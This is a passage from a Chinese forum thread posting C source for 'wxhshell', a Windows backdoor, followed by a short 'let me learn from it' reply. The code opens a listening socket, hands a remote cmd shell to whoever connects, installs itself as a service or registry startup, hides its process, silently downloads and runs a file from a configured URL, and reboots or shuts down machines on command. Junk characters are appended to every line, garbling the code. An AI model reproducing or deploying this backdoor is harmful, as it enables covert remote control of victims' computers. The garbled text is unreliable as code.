  } Ao2m"ym  
  else { |FR'?y1  
L`iC?<}  
    switch(cmd[0]) { O8!> t7x  
  (toN? ?r  
  // 帮助 @,=E[c 8  
  case '?': { Q')0 T>F-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UNoNsmP  
    break; #3+-vyZm  
  } z?b[ 6DLV;  
  // 安装 )bl'' yO  
  case 'i': { {6/Yu: ;  
    if(Install()) *E"OQsIl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ONou&T  
    else $@VQ{S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BGe&c,feIc  
    break; $<]G#&F   
    } C>A*L4c]F  
  // 卸载 JQ[~N-  
  case 'r': { mbZS J  
    if(Uninstall()) RD$"ft]Vc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !awsQ!e|  
    else !yfQ^a_ O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c)7i%RF'  
    break; 7aV(tMzd  
    } 9rd7l6$R"  
  // 显示 wxhshell 所在路径 i&%/]Nq  
  case 'p': { 6wmMg i_m  
    char svExeFile[MAX_PATH]; vvsQf%  
    strcpy(svExeFile,"\n\r"); a4B#?p  
      strcat(svExeFile,ExeFile); L,KK{o|Eq  
        send(wsh,svExeFile,strlen(svExeFile),0); =9LeFrz  
    break; t9Sog~:'  
    }  Z>O2  
  // 重启 t 7(#Cuv-  
  case 'b': { O<H5W|cM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <<ze84 E  
    if(Boot(REBOOT)) m4 :|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\Q/$#3  
    else { Z*M]AvO+#  
    closesocket(wsh); Fq-A vU  
    ExitThread(0); McXid~  
    } IM^K]$q$47  
    break; A3;}C+K  
    } !_ng_,J  
  // 关机 YNRorE   
  case 'd': { LKEf#mp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m\Xgvpv rP  
    if(Boot(SHUTDOWN)) ['G@`e*\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  hxedQvW  
    else { l9zkx'xt.-  
    closesocket(wsh); 9:]w|lE:D  
    ExitThread(0); ZQ0R3=52r  
    } )S,Rx  
    break; _a?(JzLw5  
    } |3h-F5V)  
  // 获取shell YhZmyYamE  
  case 's': { \["'%8[:gR  
    CmdShell(wsh); 'f?=ks<  
    closesocket(wsh); b!pG&7P  
    ExitThread(0); Hxw 7Q?F  
    break; ;QiSz=DyA  
  } {cYS0%Go  
  // 退出 ?xb4y=P7  
  case 'x': { 3=)!9;uY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BnB]]<gO"  
    CloseIt(wsh); 7FTf8  
    break;  $O)fHD'  
    } d=6FL" .o  
  // 离开 .5'_5>tkv  
  case 'q': { qZcRK9l]F1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _>k&,p]y  
    closesocket(wsh); xv+47.?N  
    WSACleanup(); 8,l~e8&  
    exit(1); Pf4b/w/  
    break; AMm)E  
        } ?Ji nX'z  
  } ISbhC!59  
  } @gn}J'  
&rj)Oh2  
  // 提示信息 : }q~<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'H]&$AZ;@  
} D=0^" 7K  
  } >7[o=!^:4  
:O~*}7G  
  return; |_Tp:][mf  
} sgc pH  
E;m-^dxc  
// shell模块句柄 Ow@ }6&1  
int CmdShell(SOCKET sock) /jtU<uX  
{ v{T%`WuPRf  
STARTUPINFO si; rZK;=\Ot  
ZeroMemory(&si,sizeof(si)); 4|]0%H~n6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [|&V$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9c}mAg4  
PROCESS_INFORMATION ProcessInfo; a9"1a'  
char cmdline[]="cmd"; [@PD[-2QG3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >,&@j,?']  
  return 0; o-f;$]yp>  
} ;4!,19AT  
| k:ecw  
// 自身启动模式 bRhc8#kw)  
int StartFromService(void) He}uE0^  
{ p:/#nmC<  
typedef struct G 5T{*  
{ !L=RhMI  
  DWORD ExitStatus; +'@j~\>^yJ  
  DWORD PebBaseAddress; nc.(bb),  
  DWORD AffinityMask; qpCNvhi  
  DWORD BasePriority; FD+y?UF  
  ULONG UniqueProcessId; \?VNr2   
  ULONG InheritedFromUniqueProcessId; eL`}j9  
}   PROCESS_BASIC_INFORMATION; 'T7=.Hq<4  
[ljC S  
PROCNTQSIP NtQueryInformationProcess; ,?k~>,{3  
0<n*8t?A-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wt(Hk6/B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hYI0S7{G  
qTA,rr#p0  
  HANDLE             hProcess; /M3UK  
  PROCESS_BASIC_INFORMATION pbi; :Nt_LsH  
\mIm}+!H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L6ifT`;T  
  if(NULL == hInst ) return 0; ~:ldGfb|  
*>#mI/#}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Wv`^{y <^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;L{#TC(]J]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gl$Ks+o d  
_>LI[yf{  
  if (!NtQueryInformationProcess) return 0; V(5=-8k  
]w+n39da  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G)S (a4  
  if(!hProcess) return 0; ayR;|S  
cj5; XK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !gKz=-C  
1\{_bUZ&  
  CloseHandle(hProcess); R'Uw17I  
eM1=r:jgE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &{5v[:$  
if(hProcess==NULL) return 0; $ OAak  
0Gr^#`  
HMODULE hMod; "{lw;AA5F  
char procName[255]; (=/%_jj  
unsigned long cbNeeded; }R\9y bv  
O5lP92],  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Bj7\8cKC  
nB+UxU@  
  CloseHandle(hProcess); 97]$*&fH  
qVidubsW  
if(strstr(procName,"services")) return 1; // 以服务启动 9wB}EDZ  
rZt7C(FM$7  
  return 0; // 注册表启动 -{=c T?"+  
} e+? -#  
W bP wO  
// 主模块 D#pZN,'  
int StartWxhshell(LPSTR lpCmdLine) 5e|2b] f$  
{ u[>hs \3k  
  SOCKET wsl; dPtQ Sa  
BOOL val=TRUE; 1;Q>B>6  
  int port=0; ]%4rL S  
  struct sockaddr_in door; @TWtM#  
+kXj+2  
  if(wscfg.ws_autoins) Install(); CL%+`c0  
EK JPeeRY  
port=atoi(lpCmdLine); wRATe 0'  
$zR[2{bg  
if(port<=0) port=wscfg.ws_port; &AS<2hB  
KXS{@/"-B  
  WSADATA data; P_Bhec|#fT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [&B}{6wry  
@=0O' XM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^-|yF2>`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3!OO_  
  door.sin_family = AF_INET; MUeS8:q-N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  -l ?J  
  door.sin_port = htons(port); =D"H0w <zw  
6 pQbh*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2o\GU  
closesocket(wsl); ENEnHu^  
return 1;  mDJg-BQ  
} / >As9|%  
WL6p+sN'  
  if(listen(wsl,2) == INVALID_SOCKET) { rK@UCRf  
closesocket(wsl); < "8<<   
return 1; eT4+O5t  
} j. m(Z}  
  Wxhshell(wsl); , id`=L=  
  WSACleanup(); \!_:<"nX.  
DKzP)!B "  
return 0; #G/ _FRo`  
k\~A\UIYo  
} LM~,`#3 Ru  
(ru9Ke%Dx  
// 以NT服务方式启动 ?Ww\D8yV&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5ZPe=SQ{  
{ ;44?`[oP  
DWORD   status = 0; (_Ld^ ^|  
  DWORD   specificError = 0xfffffff; 7LB#\2  
eL7rX"!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sHr!GF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ` s}v6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R8ui LZd  
  serviceStatus.dwWin32ExitCode     = 0; %L^S;v3  
  serviceStatus.dwServiceSpecificExitCode = 0; m&h5u,  
  serviceStatus.dwCheckPoint       = 0; @Qa)@'u  
  serviceStatus.dwWaitHint       = 0; unUCn5hJ=  
2qY+-yOEt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \qU.?V[2  
  if (hServiceStatusHandle==0) return; =h"*1`  
Mv O!p  
status = GetLastError(); )%}?p2.  
  if (status!=NO_ERROR) Q%AD6G(7  
{ lYz$~/sd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aJ"Tt>Y[.~  
    serviceStatus.dwCheckPoint       = 0; BU|bo")  
    serviceStatus.dwWaitHint       = 0; `T;M=S^y*E  
    serviceStatus.dwWin32ExitCode     = status; ?D^l&`S  
    serviceStatus.dwServiceSpecificExitCode = specificError; }g?9 /)z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4*<27  
    return; A^a9,T  
  } 1Xv- e8M  
/^ d!$v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jq4{UW'  
  serviceStatus.dwCheckPoint       = 0; ;zbF~5e  
  serviceStatus.dwWaitHint       = 0; 9bDxml1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'yWv @)  
} Q>FuNdUk  
g!k'tizYD  
// 处理NT服务事件,比如:启动、停止 Ux2p qPb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gda3{g7<)  
{ u/@dWeY[]  
switch(fdwControl) aXSTA ,%  
{ wN])"bmB  
case SERVICE_CONTROL_STOP: Z~.3)6,z  
  serviceStatus.dwWin32ExitCode = 0; Tn# >"Ag  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; igV4nL  
  serviceStatus.dwCheckPoint   = 0; )eFq0+6*)  
  serviceStatus.dwWaitHint     = 0; a*8^M\>m4  
  { p^LUyLG`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XOM@Pi#z  
  } D;V FM P  
  return; =a_B'^`L  
case SERVICE_CONTROL_PAUSE: w:}RS.AK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tXocGM {6C  
  break; iCouGd}  
case SERVICE_CONTROL_CONTINUE: =;1MpD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^[d|^fRH Q  
  break; e/?>6'6 5  
case SERVICE_CONTROL_INTERROGATE: YdI|xu>0A^  
  break; 4Qr16,Us  
}; GlDl0P,*r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vM}oxhQ$n  
} !5~{?sr>  
6m$,t-f0b  
// 标准应用程序主函数 nl7=Nhh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !V =s^8nj  
{ k++Os'hSEY  
(wNL,<%~  
// 获取操作系统版本 N[~"X**x  
OsIsNt=GetOsVer(); D/CSR=b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nKFua l3  
m|O7@N  
  // 从命令行安装 6 ]@H.8+  
  if(strpbrk(lpCmdLine,"iI")) Install(); .[-d( #l{l  
C^po*(W6  
  // 下载执行文件 cTKj1)!z?X  
if(wscfg.ws_downexe) { :VPZGzK4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <B;l).[6  
  WinExec(wscfg.ws_filenam,SW_HIDE); r )cG ee  
} -Kj^ l3w  
[Ng#/QXk{  
if(!OsIsNt) { ^G,]("di`  
// 如果时win9x,隐藏进程并且设置为注册表启动 t Ztyx;EP  
HideProc(); [T;0vv8  
StartWxhshell(lpCmdLine); O)'Bx=S4Ke  
} pI>i1f=W  
else m CFScT  
  if(StartFromService()) zY<=r.m4  
  // 以服务方式启动 npH2&6Yhi^  
  StartServiceCtrlDispatcher(DispatchTable); uvK1gJrA)  
else R}Ih~zw  
  // 普通方式启动 |wKC9O@%  
  StartWxhshell(lpCmdLine); ;a/Gs^W  
Tn+6:<OFdO  
return 0; 9L}=xX`>?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八